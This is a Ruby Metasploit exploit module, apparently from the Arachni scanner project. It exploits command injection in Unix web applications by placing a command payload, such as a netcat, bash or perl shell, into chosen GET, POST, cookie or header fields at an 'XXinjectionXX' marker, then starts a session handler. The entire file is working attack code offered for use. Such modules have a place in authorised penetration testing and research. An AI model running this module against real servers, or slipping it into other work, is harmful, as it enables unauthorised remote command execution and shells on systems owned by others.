require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize( info = {} ) super( update_info( info, 'Name' => 'Generic WebApp Unix Command Execution Exploit', 'Description' => %q{ This module allows complex HTTP requests to be crafted in order to allow exploitation of command injection vulnerabilities in Unix-like platforms. Use 'XXinjectionXX' to mark the value of the vulnerable variable/field, i.e. where the payload should go. Supported vectors: GET, POST, COOKIE, HEADER. (Mainly for use with the Arachni plug-in.) }, 'Author' => [ 'Tasos "Zapotek" Laskos ', # extended it to work with GET/POST/COOKIE/HEADER 'hdm' # original exploit: exploits/unix/webapp/generic_exec.rb ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10642 $', 'References' => [ ['URL', 'http://github.com/Arachni/arachni'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet netcat-e bash', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0 ) ) register_options( [ OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ), OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ), OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ), OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ), OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ), ], self.class ) end def check uri = datastore['PATH'] ? datastore['PATH'].dup : "" if( uri && ! uri.empty? ) uri.gsub!( /\?.*/, "" ) print_status( "Checking uri #{uri}" ) response = send_request_raw({ 'uri' => uri}) if response.code == 200 return Exploit::CheckCode::Detected end print_error( "Server responded with #{response.code}" ) return Exploit::CheckCode::Safe else return Exploit::CheckCode::Unknown end end def exploit cookies = _sub_injection( datastore['COOKIES'].to_s, ';' ) headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, '::' ), ':;' ) post = _str_to_hash( _sub_injection( datastore['POST'].to_s ) ) get = _str_to_hash( _sub_injection( datastore['GET'].to_s ) ) uri = datastore['PATH'].to_s method = post.empty? ? 'GET' : 'POST' if( post.empty? && get.empty? && headers.empty? && cookies.empty? ) print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' ) return end print_status( "Sending HTTP request for #{uri}" ) res = send_request_cgi( { 'global' => true, 'uri' => uri, 'method' => method, 'vars_get' => get, 'vars_post' => post, 'headers' => headers, 'cookie' => cookies }, 0.01 ) handler end # # Converts a URI styled query string into a key=>value hash # def _str_to_hash( str, sep = '&' ) hash = {} str.split( sep ).map do |part| splits = part.split( '=', 2 ) next if !splits[0] || !splits[1] hash[splits[0]] = splits[1] end return hash end # # Substitutes 'XXinjectionXX' in values of a URI styled query string with the # payload # def _sub_injection( str, sep = '&' ) return str.to_s.split( sep ).map do |var| k,v = var.split( '=', 2 ) next if !v || !k if sep == '&' pl = payload.encoded else pl = URI.encode( payload.encoded, ';\'=$_(),-:~. ' ) end k + "=" + v.gsub( 'XXinjectionXX', pl ) end.reject do |i| !i end.join( sep ) end end